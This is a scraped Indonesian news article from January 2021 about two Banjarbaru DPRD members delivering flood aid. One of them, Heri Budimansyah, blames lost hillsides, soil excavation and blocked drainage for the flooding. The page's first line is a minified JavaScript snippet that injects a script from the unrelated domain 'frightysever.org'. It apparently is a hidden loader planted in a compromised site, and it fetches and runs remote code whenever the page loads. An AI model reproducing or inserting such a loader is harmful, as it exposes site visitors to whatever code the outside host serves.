(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: DPRD BANJARBARU

Dua Wakil Rakyat Salurkan Bantuan, Budi: Kawasan Perbukitan di Banjarbaru Habis


KANALKALIMANTAN.COM, BANJARBARU – Wakil rakyat ikut peduli kepada korban banjir. Seperti halnya yang dilakukan dua anggota DPRD Kota Banjarbaru dari PDI Perjuangan.
Heri Budimansyah dan Ronauli Saragi sejak beberapa hari terakhir terusmenyuplai bantuan logistik terhadap para korban banjir.

Diungkapkan Heri Budimansyah, aksi kepudlian ini selain sebagai anggota DPRD dari Fraksi PDI Perjuangan, sekaligus juga Bikers Brotherhood 1% MC Indonesia South Borneo, dimana dirinya menjadi salah satu dari anggota komunitas tersebut.

“Kami menyatukan gerakan, dimana kebetulan juga kami merupakan anggota Bikers Brotherhood. Ini merupakan bentuk kepedihan dan kepedulian hati kami untuk masyarakat yang terdampak banjir, baik warga kota Banjarbaru maupun para pengungsi dari luar kota Banjarbaru,” kata Ketua Komisi I DPRD Banjarbaru ini, Senin (18/1/2021).

Adapun bantuan berupakan kebutuhan pangan ini disuplai ke sejumlah posko-posko pengungsian warga yang tersebar di berbagai Kelurahan. Seperti di Posko Kelurahan Mentaos, Posko Karang Karuna Fajar Mulia, Kelurahan Loktabat Selatan dan Posko BAGUNA PDI Perjuangan DPC Kota Banjarbaru.

“Dan hari ini kita baru saja mengirim bantuan ke posko pengungsian di Mess L. Beberapa posko yang kita datangi ini justru kebanyakan ditempati warga Kabupaten Banjar, bukan Banjarbaru. Memang di situasi saat ini kita tidak bisa memandang status para korban terdampak. Siapapun yang membutuhkan harus kita bantu sebisa mungkin,” terang Budi.

Atas musibah banjir yang melanda Banjarbaru pada awal tahun ini, Budi sendiri mengaku turut prihatin. Ia bersama anggota legislatif lainnya telah sejak lama mewanti-wanti pemerintah terkait potensi bencana di kota Idaman.

“Sebagaimana diketahui banjir ini sudah diperkirakan. Saat ada pertemuan dengan SKPD di lingkungan Pemko Banjarbaru, kita juga sudah sering singgung. Bahwa banjir dan sampah itu adalah masalah klasik di sebuah perkotaan,” bebernya.

Pemko Banjarbaru seharusnya bisa lebih konsentrasi dalam mengatasi permasalahan tersebut. Sebab katanya, meskipun tak dapat mengatasi faktor yang disebabkan alam, setidaknya pemerintah bisa meminimalisir dampak bencana banjir dengan mengatasi faktor lainnya.

“Faktor banjir yang bisa ditanggulangi itu ialah daya dukung dan daya tampung lingkungan. Di Banjarbaru ini kawasan perbukitannya sudah habis. Digali tanahnya, diambil dan tidak ada recovery. Sehingga di hulu kurang bisa menangkap air. Belum lagi permasalahan mata air kita yang mengalami kehancuran akibat alih fungsi pembangunan,” terang Budi.

Tak hanya itu, Budi juga menyayangkanrasa ketidakpedulian masyarakat untuk menjaga lingkungan sekitar. Sebab ujarnya beberapa drainase saluran di Banjarbaru mengalami gagal fungsi lantaran banyak sampah yang menumpuk.

“Kita menggelontorkan anggaran sudah mencapai miliaran rupiah. Tetapi faktanya banjir tidak pernah selesai. Masyarakat kita juga kurang peka terhadap lingkungan. Bencana banjir ini sudah tak bisa terhindarkan,” terangnya.

Atas semua permasalahan ini, Budi mendorong pemerintah untuk mempercepat perbaikan fasilitas dan infrastruktur ke depannya. Termasuk ujarnya menindak tegas oknum masyarakat yang dengan sengaja menutupi saluran drainase hingga meluapnya air berujung cepat naiknya debit air cepat hingga meluap.

“Bersihkan drainase kita, pulihkan kembali. Tindak tegas masyarakat yang melakukan pengecoran di halaman rumah, ruko, atau bangunannya lainnya yang menghambat saluran pembuangan air ke drainase. Jika perlu payung hukum untuk menindak oknum tersebut, kami DPRD siap membuatkan Perda-nya,” tegas Budi.
Terakhir, Budi juga meminta pemerintah untuk melarang seluruh aktivitas pengerukan tanah di wilayah Banjarbaru. Semua upaya ini diharapkan setidaknya dapat meminimalisr dampak bencana bamjir yang berkepanjangan.

“Jangan sampai ada pengerukan lagi. Jangan mikirkan PAD, kalau ujung-ujunga kita justru keluar duit lebih banyak karena dampak yang dihasilkan. Pemko harus masif berkoordinasi dengan Pemprov, semua upaya ini bisa dilakukan dengan maksimal,” lugasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

9 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

12 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 jam ago

This website uses cookies.